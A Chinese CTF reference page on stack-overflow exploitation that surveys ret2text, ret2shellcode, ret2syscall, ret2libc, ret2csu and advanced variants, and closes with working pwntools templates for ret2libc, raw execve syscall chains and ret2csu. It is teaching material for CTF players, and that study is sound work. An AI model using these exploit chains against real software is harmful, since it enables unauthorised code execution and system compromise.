栈漏洞利用

PWN · 知识域。栈溢出到控制流的全部 ret2 族技术。标签:Ret2text、Ret2shellcode、Ret2syscall、Ret2libc、Ret2csu、Ret2VDSO。

触发特征

  • 栈溢出 + NX(或无 NX);返回地址可控。
  • 依次判断:有无现成后门函数 → 能否注入 shellcode → 需要 ROP 吗。

Ret2text

  • 二进制自带 win()/backdoor()/cat_flag:直接覆盖返回地址;带参数时补 rdi(找 pop rdi; ret)。
  • 魔法值校验型(参数比对 win):构造参数后跳。
  • 双 win 调用模式:连续调用两个函数拼凑条件(VuwCTF 2025)。

Ret2shellcode

  • NX 关闭:shellcode 放栈/bss 可写段;asm(shellcraft.sh())。
  • 短空间:15 字节 execve 精简 shellcode(TUM CTF 2016);寄存器已初始化的最小 shellcode(Square CTF 2017);syscall 后 RIP→RCX 的唯一字节 shellcode(HITCON 2017)。
  • 字符约束:字母数字 shellcode(alphanumeric,push r12; pop rax 引导,nullcon HackIM 2019);坏字符 XOR 编码ROP(→ 下文);UTF-8 约束下的 SROP(DiceCTF 2026)。
  • 输入被反转/过滤:写"反的 shellcode"或分段注入。
  • mprotect + read 组合打 RWX(无 NX 时不需要)。

Ret2syscall

  • 无 libc、静态二进制:找 pop rax; pop rdi; pop rsi; pop rdx; syscall 链直接 execve。
  • ROPgadget / ropper;缺失 gadget 时:ret2csu、BEXTR/XLAT/STOSB/PEXT 冷门 gadget(Crypto-Cat 套路)。
  • rdx 控制难点:用 pop rdx 稀缺时的替代链(csu、printf gadget)。
  • 坏字符:XOR 编码 ROP 链(内存中自解码,Crypto-Cat);sprintf gadget 链边写边拼(PlaidCTF 2013)。

Ret2libc

  • 两段式:第一阶段泄露 GOT(libc 函数地址)→ 算基址 → 第二阶段 system("/bin/sh")。
  • 单次机会:泄露 + 覆盖同一次 printf(picoCTF 2017);返回 main 再来一轮。
  • 静态二进制内嵌 /bin/sh:直接 ret2libc 静态(TAMUctf 2019)。
  • one_gadget 约束(rsp+0x40==NULL 等)不满足时补链。
  • DynELF 无 libc 泄露自动搜索(RC3 CTF 2016)。
  • Canary 存在:fork 服务逐字节爆 canary;canary 末位 null 覆写泄露(CSAW 2017);canary XOR 尾字节当 rdx 清零 gadget(VolgaCTF 2017);scanf 格式错误跳过保留 canary(nullcon HackIM 2019)。
  • PIE:格式串/User-Agent 一次泄露(CSAW 2018 HTTP UA 泄露 PIE+canary);glibc 一致 mmap 基址赌 PIE(TAMUctf 2019);vsyscall 段地址固定 → ROP 借用(Hack.lu 2015);ret2vdso(HTB:AT_SYSINFO_EHDR 找 vDSO 基址,gadget 后 execve)。
  • 栈迁移(Stack Pivoting):gadget 不够时 xchg rax,esp/leave;ret 迁到 bss;双重 leave;ret 迁 BSS(Midnightflag 2026);不完美 gadget + 垃圾算术补偿(RITSEC 2018)。

Ret2csu

  • __libc_csu_init 尾部 gadget 控制 rdx/rsi/edi 三个参数寄存器(glibc<2.34)。
  • 老题必备;新版 glibc 转向 __libc_start_call_main 残留 gadget 或 setcontext。

高级变体

  • SROP:sigreturn 一次性设置全部寄存器;需 "/bin/sh" 地址与 syscall;RTSigreturn 栈迁移。
  • ret2dl_resolve / ret2dl-resolve:部分 RELRO 无 libc 泄露时伪造重定位表(Codegate 2018 VERSYM 绕过)。
  • RETF 架构切换 x64→x32 绕 seccomp(Midnightflag 2026);x32 ABI syscall 号别名(BCTF 2017)。
  • prime-only ROP:只允许素数字节时 Goldbach 分解构造(PlaidCTF 2018)。
  • .fini_array 双入口分段 ROP(静态二进制,Insomnihack 2019);.fini_array 循环多阶段(Codegate 2016)。
  • JIT-ROP:泄露 libc 函数后扫描 syscall 字节(Codegate 2018)。

工具速查

from pwn import *
p = process('./pwn'); e = ELF('./pwn'); l = ELF('./libc.so.6')
rop = ROP(e); rop.call('puts', [e.got['puts']]); rop.call(e.symbols['main'])
p.sendline(flat({72: rop.chain()}))
# pwntools 模板;corefile 自动找 offset(Crypto-Cat)

转向

例题

两段式 ret2libc 标准模板

from pwn import *
elf, libc = ELF('./binary'), ELF('./libc.so.6')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]

# 第一段:泄露 puts@got 后回到 main 再来一轮
payload = flat(b'A' * offset, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'])
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']

# 第二段:system("/bin/sh")
payload = flat(b'A' * offset, ret, pop_rdi,
               next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
p.sendline(payload)

要点:第二段开头的裸 ret 做 16 字节栈对齐(Ubuntu/glibc 的 movaps 崩溃玄学);泄露后回 main 而非 vuln 本身,栈帧更干净。

system/execve 打不通时:裸 syscall 链

CET/IBT 或栈状态导致函数入口崩溃时,改用 libc 内 syscall gadget:

libc_rop = ROP(libc)
pop_rax     = libc_rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi     = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi     = libc_rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_rbx = libc_rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0]  # 新版 glibc 常见形态
syscall_ret = libc_rop.find_gadget(['syscall', 'ret'])[0]

# execve("/bin/sh", NULL, NULL) = syscall 59
payload = flat(b'A'*offset,
    pop_rax, 59, pop_rdi, next(libc.search(b'/bin/sh\x00')),
    pop_rsi, 0, pop_rdx_rbx, 0, 0, syscall_ret)

ret2csu 控制 rdx(glibc < 2.34)

无 pop rdx gadget 时的标准解法——__libc_csu_init 两段 gadget:

; gadget1(pop 链,函数尾部)
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
; gadget2(call + 传参)
mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]
add rbx,1; cmp rbp, rbx; jne loop   ; 结束后落入 gadget1
payload = flat(b'A'*offset,
    csu_pop,
    0,                 # rbx
    1,                 # rbp(循环计数,需 = rbx+1 才退出)
    elf.got['puts'],   # r12 → 被调函数指针(GOT 表项)
    arg1, arg2, arg3,  # r13→edi(仅32位) r14→rsi r15→rdx
    csu_call,
    0, 0, 0, 0, 0, 0, 0,   # gadget1 的 7 个弹栈垫片
    next_call_target)

限制:edi 只取 r13 低 32 位;glibc ≥ 2.34 无此符号 → 改用 setcontext 系(→ 其他类型PWN)。

评论